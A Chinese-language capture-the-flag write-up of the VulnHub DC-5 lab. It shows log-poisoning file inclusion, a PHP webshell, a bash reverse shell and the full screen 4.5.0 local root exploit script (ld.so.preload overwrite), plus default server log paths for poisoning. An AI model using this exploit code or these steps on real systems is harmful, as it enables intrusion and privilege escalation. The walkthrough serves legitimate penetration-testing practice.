VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。
文章较臃长,记录了不断测试并发现利用的过程。
一、相关简介
靶机:
该靶机Web处存在文件包含漏洞,本地提权存在screen已知版本漏洞。
- 名称:DC-5
- 系统:Linux Debian
- 难度:中级
- 目标:获得root、拿到flag
环境:
- 靶机:DC-2——192,168.11.29
- 攻击机:Kali——192.168.11.28
- 工具:Nmap、dirb、BurpSuit、whatweb、cewl、菜刀等
二、渗透步骤
1、信息搜集
1.1、搜集
主机发现
Nmap端口服务扫描
Web指纹识别和dirb Web目录爆破并没有得到有用信息
dirbuster 扫描到了2个新文件
1.2、总结
主机信息:
- IP:192.168.11.29
- OS:Linux Debian
- Kernel:Linux 3 / Linux 4
- 80端口:http,Nginx-1.6.2
- 111端口:RPC,rpcbind 2-4
Web信息:
- 服务器:Nginx-1.6.2
- ./contact.php - 200
- ./faq.php - 200
- ./index.php - 200
- ./solutions.php - 200
- ./footer.php - 200
- ./about-us.php - 200
- ./thankyou.php - 200
2、漏洞发现(文件包含)
试着包含以下本地的Nginx日志,可以看到成功包含
3、文件包含漏洞利用
1)执行phpinfo()函数
得到了日志文件,日志的格式如下:
192.168.11.28 - - [23/Apr/2020:09:47:57 +1000] "GET / HTTP/1.0" 200 4025 "-" "-"
每条日志都会记录请求方式(GET 或 POST)以及访问的uri,既然这样,那就可以抓包将请求方式改为php代码,记录进日志,然后进行文件包含执行该代码。
将GET改为以下的 phpinfo()
代码:
然后再次访问之前的文件包含页面,半酣日志文件,结果成功执行 phpinfo() 函数,也就是说文件包含并执行代码成功了
提交数据包后,页面也有回显
2)挂马得到Webshell
既然可以执行,那就可以将php代码改成php一句话木马(在uri处改是一样的),再提交包含,使用蚁剑连接即可,
提交数据包后,使用蚁剑连接
奇怪,蚁剑连接会出现乱码,有点像是是html实体编码后的结果
起初还以为是php马的问题,重置了好几次靶机,但是还是不行,直到用菜刀连接。。。
3)利用system() 函数建立反弹shell
ok,那现在就可操作性很大了,传一个反弹shell马进去,建立连接。
但是发现不可以上传和编辑文件,奇怪,换一种思路吧,直接使用php的系统命令函数来建立连接
给 cmd 传参为 cat+/etc/passwd
,成功执行了该系统命令
ok,将命令换为bash的反弹shell,要进行url编码,在kali上打开nc监听9999端口,发包即可建立反弹shell
此时已经进入目标主机,需要提权。
4、screen-4.5.0 本地提权
开始提权,查找可写文件、查看用户权限皆无果后,借鉴网上的师傅们,使用find来寻找拥有SUID权限的命令,发现了screen命令
在kali上寻找已知版本POC,找到两个,我们使用.sh
那个
并不可以直接使用,需要根据文件内容提示的步骤来提权,内容如下:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
具体步骤文件中已经给出,完成后会有以下三个文件:
但是 .sh
文件类型是 dos,需要使用 vi 来改变其类型为 unix。 set ff
查看当前文件类型是 dos
使用 set ff=unix
改变类型为 unix
再利用本地服务器将其下载至靶机,最好是 /tmp/
目录下,避免无权限。(学到了可以使用python在当前目录下开启一个临时服务器,非常方便!)
python -m SimpleHTTPServer 8000
使用wget下载文件
再赋予 .sh
文件执行权限,执行即可提权至root
得到flag
三、知识总结
整体步骤:
- 通过Web路径爆破发现Web页面存在文件包含
- 利用本地包含和Nginx日志Getshell
- 利用screen已知版本漏洞提权至root
知识点:
-
当扫描不出信息时,可以换一个工具或者换一个字典,比如dirb扫描不到信息,可以使用dirbuster。
-
当存在文件包含时,如果有本地文件包含,可以灵活利用日志来进行挂马,一些服务器的日志默认路径:
Apache:
/var/log/apache2/access.log
Nginx:
/var/log/nginx/access.log
IIS:
- Windows Server 2003 iis6:
C:\Windows\System32\LogFiles
- Windows Server 2008 R2、2012、2016、2019 iis7以上:
C:\inetpub\logs\LogFiles
- Windows Server 2003 iis6: